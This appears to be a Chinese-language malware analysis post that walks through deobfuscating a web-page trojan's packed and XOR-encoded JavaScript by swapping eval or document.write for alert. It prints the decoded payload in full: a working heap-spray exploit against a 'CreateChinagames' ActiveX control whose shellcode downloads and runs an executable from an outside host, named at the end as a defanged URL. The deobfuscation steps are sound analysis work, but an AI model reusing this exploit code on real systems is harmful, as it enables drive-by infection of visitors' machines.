先解
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 1(0){4 5.6(0^3)};',7,7,'m|sb|function||return|String|fromCharCode'.split('|'),0,{}))
结果为
function sb(m){return String.fromCharCode(m^3)};
然后解密
eval(sb(101)+sb(118)+sb(109)+sb(96)+。。。。
构造脚本
<script>
function sb(m)
{return String.fromCharCode(m^3)};
alert(sb(101)+sb(118)+sb(109)+sb(96)+sb(119)+sb(106)+sb(108)+sb(109)+sb(35)+sb(113)+sb(102)+sb(115)+sb(111)+sb(98)+sb(96)+sb(102)+sb(112)+sb(119)+sb(113)+sb(43)+sb(112)+sb(119)+sb(113)+sb(42)+sb(120)+sb(14)+sb(9)+sb(117)+sb(98)+sb(113)+sb(35)+sb(98)+sb(113)+sb(113)+sb(49)+sb(62)+sb(109)+sb(102)+sb(116)+sb(35)+sb(66)+sb(113)+sb(113)+sb(98)+sb(122)+sb(43)+sb(42)+sb(56)+sb(117)+sb(98)+sb(113)+sb(35)+sb(112)+sb(62)+sb(33)+sb(33)+sb(56)+sb(117)+sb(98)+sb(113)+sb(35)+sb(106)+sb(62)+sb(33)+sb(33)+sb(56)+sb(14)+sb(9)+sb(98)+sb(113)+sb(113)+sb(49)+sb(62)+sb(112)+sb(119)+sb(113)+sb(45)+sb(112)+sb(115)+sb(111)+sb(106)+sb(119)+sb(43)+sb(33)+sb(33)+sb(42)+sb(56)+sb(14)+sb(9)+sb(101)+sb(108)+sb(113)+sb(43)+sb(106)+sb(62)+sb(51)+sb(56)+sb(106)+sb(63)+sb(98)+sb(113)+sb(113)+sb(49)+sb(45)+sb(111)+sb(102)+sb(109)+sb(100)+sb(119)+sb(107)+sb(56)+sb(106)+sb(40)+sb(40)+sb(42)+sb(120)+sb(14)+sb(9)+sb(106)+sb(101)+sb(43)+sb(98)+sb(113)+sb(113)+sb(49)+sb(88)+sb(106)+sb(94)+sb(62)+sb(62)+sb(33)+sb(44)+sb(33)+sb(42)+sb(120)+sb(98)+sb(113)+sb(113)+sb(49)+sb(88)+sb(106)+sb(94)+sb(62)+sb(33)+sb(33)+sb(126)+sb(14)+sb(9)+sb(106)+sb(101)+sb(43)+sb(98)+sb(113)+sb(113)+sb(49)+sb(88)+sb(106)+sb(94)+sb(62)+sb(62)+sb(33)+sb(125)+sb(33)+sb(42)+sb(120)+sb(98)+sb(113)+sb(113)+sb(49)+sb(88)+sb(106)+sb(94)+sb(62)+sb(33)+sb(33)+sb(126)+sb(14)+sb(9)+sb(106)+sb(101)+sb(43)+sb(98)+sb(113)+sb(113)+sb(49)+sb(88)+sb(106)+sb(94)+sb(62)+sb(62)+sb(33)+sb(60)+sb(33)+sb(42)+sb(120)+sb(98)+sb(113)+sb(113)+sb(49)+sb(88)+sb(106)+sb(94)+sb(62)+sb(33)+sb(33)+sb(126)+sb(14)+sb(9)+sb(106)+sb(101)+sb(43)+sb(98)+sb(113)+sb(113)+sb(49)+sb(88)+sb(106)+sb(94)+sb(62)+sb(62)+sb(33)+sb(67)+sb(33)+sb(42)+sb(120)+sb(98)+sb(113)+sb(113)+sb(49)+sb(88)+sb(106)+sb(94)+sb(62)+sb(33)+sb(33)+sb(126)+sb(14)+sb(9)+sb(126)+sb(14)+sb(9)+sb(101)+sb(108)+sb(113)+sb(43)+sb(106)+sb(62)+sb(51)+sb(56)+sb(106)+sb(63)+sb(98)+sb(113)+sb(113)+sb(49)+sb(45)+sb(111)+sb(102)+sb(109)+sb(100)+sb(119)+sb(107)+sb(56)+sb(106)+sb(40)+sb(40)+sb(42)+sb(120)+sb(112)+sb(62)+sb(112)+sb(40)+sb(98)+sb(113)+sb(113)+sb(49)+sb(88)+sb(106)+sb(94)+sb(126)+sb(14)+sb(9)+sb(113)+sb(102)+sb(119)+sb(118)+sb(113)+sb(109)+sb(35)+sb(112)+sb(56)+sb(14)+sb(9)+sb(126)+sb(14)+sb(9)+sb(101)+sb(118)+sb(109)+sb(96)+sb(119)+sb(106)+sb(108)+sb(109)+sb(35)+sb(118)+sb(109)+sb(115)+sb(98)+sb(96)+sb(104)+sb(96)+sb(108)+sb(103)+sb(102)+sb(43)+sb(96)+sb(108)+sb(103)+sb(102)+sb(42)+sb(120)+sb(14)+sb(9)+sb(117)+sb(98)+sb(113)+sb(35)+sb(112)+sb(119)+sb(113)+sb(62)+sb(33)+sb(33)+sb(56)+sb(117)+sb(98)+sb(113)+sb(35)+sb(98)+sb(113)+sb(113)+sb(62)+sb(109)+sb(102)+sb(116)+sb(35)+sb(66)+sb(113)+sb(113)+sb(98)+sb(122)+sb(43)+sb(42)+sb(56)+sb(117)+sb(98)+sb(113)+sb(35)+sb(112)+sb(50)+sb(62)+sb(33)+sb(33)+sb(56)+sb(117)+sb(98)+sb(113)+sb(35)+sb(112)+sb(49)+sb(62)+sb(33)+sb(33)+sb(56)+sb(117)+sb(98)+sb(113)+sb(35)+sb(112)+sb(48)+sb(62)+sb(33)+sb(33)+sb(56)+sb(117)+sb(98)+sb(113)+sb(35)+sb(106)+sb(62)+sb(51)+sb(56)+sb(14)+sb(9)+sb(112)+sb(119)+sb(113)+sb(62)+sb(113)+sb(102)+sb(115)+sb(111)+sb(98)+sb(96)+sb(102)+sb(112)+sb(119)+sb(113)+sb(43)+sb(96)+sb(108)+sb(103)+sb(102)+sb(42)+sb(56)+sb(14)+sb(9)+sb(112)+sb(119)+sb(113)+sb(62)+sb(112)+sb(119)+sb(113)+sb(45)+sb(113)+sb(102)+sb(115)+sb(111)+sb(98)+sb(96)+sb(102)+sb(43)+sb(44)+sb(121)+sb(44)+sb(100)+sb(47)+sb(33)+sb(33)+sb(42)+sb(56)+sb(14)+sb(9)+sb(116)+sb(107)+sb(106)+sb(111)+sb(102)+sb(43)+sb(106)+sb(63)+sb(112)+sb(119)+sb(113)+sb(45)+sb(111)+sb(102)+sb(109)+sb(100)+sb(119)+sb(107)+sb(42)+sb(120)+sb(14)+sb(9)+sb(112)+sb(50)+sb(62)+sb(112)+sb(119)+sb(113)+sb(45)+sb(112)+sb(118)+sb(97)+sb(112)+sb(119)+sb(113)+sb(43)+sb(106)+sb(47)+sb(49)+sb(42)+sb(56)+sb(14)+sb(9)+sb(98)+sb(113)+sb(113)+sb(62)+sb(112)+sb(50)+sb(45)+sb(112)+sb(115)+sb(111)+sb(106)+sb(119)+sb(43)+sb(33)+sb(33)+sb(42)+sb(56)+sb(14)+sb(9)+sb(112)+sb(49)+sb(62)+sb(112)+sb(49)+sb(40)+sb(33)+sb(38)+sb(33)+sb(40)+sb(98)+sb(113)+sb(113)+sb(88)+sb(50)+sb(94)+sb(40)+sb(98)+sb(113)+sb(113)+sb(88)+sb(51)+sb(94)+sb(56)+sb(14)+sb(9)+sb(106)+sb(62)+sb(106)+sb(40)+sb(49)+sb(56)+sb(14)+sb(9)+sb(126)+sb(14)+sb(9)+sb(113)+sb(102)+sb(119)+sb(118)+sb(113)+sb(109)+sb(35)+sb
(112)+sb(49)+sb(56)+sb(14)+sb(9)+sb(126)+sb(14)+sb(9)+sb(101)+sb(118)+sb(109)+sb(96)+sb(119)+sb(106)+sb(108)+sb(109)+sb(35)+sb(110)+sb(98)+sb(106)+sb(109)+sb(43)+sb(42)+sb(120)+sb(14)+sb(9)+sb(103)+sb(108)+sb(96)+sb(118)+sb(110)+sb(102)+sb(109)+sb(119)+sb(45)+sb(116)+sb(113)+sb(106)+sb(119)+sb(102)+sb(43)+sb(118)+sb(109)+sb(102)+sb(112)+sb(96)+sb(98)+sb(115)+sb(102)+sb(43)+sb(118)+sb(109)+sb(115)+sb(98)+sb(96)+sb(104)+sb(96)+sb(108)+sb(103)+sb(102)+sb(43)+sb(115)+sb(98)+sb(96)+sb(104)+sb(96)+sb(108)+sb(103)+sb(102)+sb(42)+sb(42)+sb(42)+sb(56)+sb(14)+sb(9)+sb(113)+sb(102)+sb(119)+sb(118)+sb(113)+sb(109)+sb(35)+sb(119)+sb(113)+sb(118)+sb(102)+sb(56)+sb(14)+sb(9)+sb(126)+sb(14)+sb(9)+sb(110)+sb(98)+sb(106)+sb(109)+sb(43)+sb(42)+sb(56)+'');
</script>
运行,弹出对话框,Ctrl+C,Ctrl+V就可以了,如图
代码如下:
function replacestr(str){
var arr2=new Array();var s="";var i="";
arr2=str.split("");
for(i=0;i<arr2.length;i++){
if(arr2=="/"){arr2=""}
if(arr2=="~"){arr2=""}
if(arr2=="?"){arr2=""}
if(arr2=="@"){arr2=""}
}
for(i=0;i<arr2.length;i++){s=s+arr2}
return s;
}
function unpackcode(code){
var str="";var arr=new Array();var s1="";var s2="";var s3="";var i=0;
str=replacestr(code);
str=str.replace(/z/g,"");
while(i<str.length){
s1=str.substr(i,2);
arr=s1.split("");
s2=s2+"%"+arr[1]+arr[0];
i=i+2;
}
return s2;
}
function main(){
document.write(unescape(unpackcode(packcode)));
return true;
}
main();
然后再整个加密文件重新构造一下,将document.write修改为alert,并执行,弹出对话框,Ctrl+C,Ctrl+V就可以了
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
</HEAD>
<BODY>
<OBJECT id="target" classid="clsid:75108B29-202F-493C-86C5-1C182A485C4C"></OBJECT>
<SCRIPT language="JavaScript">
var xsxfy,xsxfy2;
var xfy="%u";
var crya=xfy+"9090"+xfy;
var cryb="9090";
var xsxfya="%u9090%u9090%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74f2%uc1";
xsxfy="08%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u038b%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c6c%u4300%u5c3a%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u408b%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c40%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec83%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6fe8%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353";
xsxfy2="%ueb52%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83ff%u04ec%u2c83%u6224%ud0ff%u7ebf%ue2d8%ue873%uff40%uffff%uff52%ue8d0%uffd7%uffff";
var xfyddos="%u7468%u7074%u2F3A%u772F%u7777%u352E%u6269%u6363%u632E%u6D6F%u712F%u2E71%u7865%u0065";
var xfyxcode=unescape(xsxfya+xsxfy+xsxfy2+xfyddos);
var fyitem=0x40000;
var xfyxxcodes = xfyxcode;
var bigblock = unescape(crya+cryb);
var headersize = 20;
var slackspace = headersize+xfyxxcodes["length"];
while (bigblock["leng"+"th"]<slackspace)
bigblock+=bigblock;
fillblock = bigblock["subst"+"ring"](0, slackspace);
block = bigblock["su"+"bstr"+"ing"](0, bigblock.length-slackspace);
while(block["le"+"ngth"]+slackspace<fyitem)
block = block+block+fillblock;
memory = new window["Array"]();
for (x=0; x<300; x++)
memory[x] = block + xfyxxcodes;
var buffer = '';
while (buffer["length"] < 796 )
buffer+=unescape("%"+"u0"+"c0c");
target.CreateChinagames(buffer);
</SCRIPT>
</BODY></HTML>
shellcode解密大家都会了,下载文件为hxxp://www.5ibcc.com/qq.exe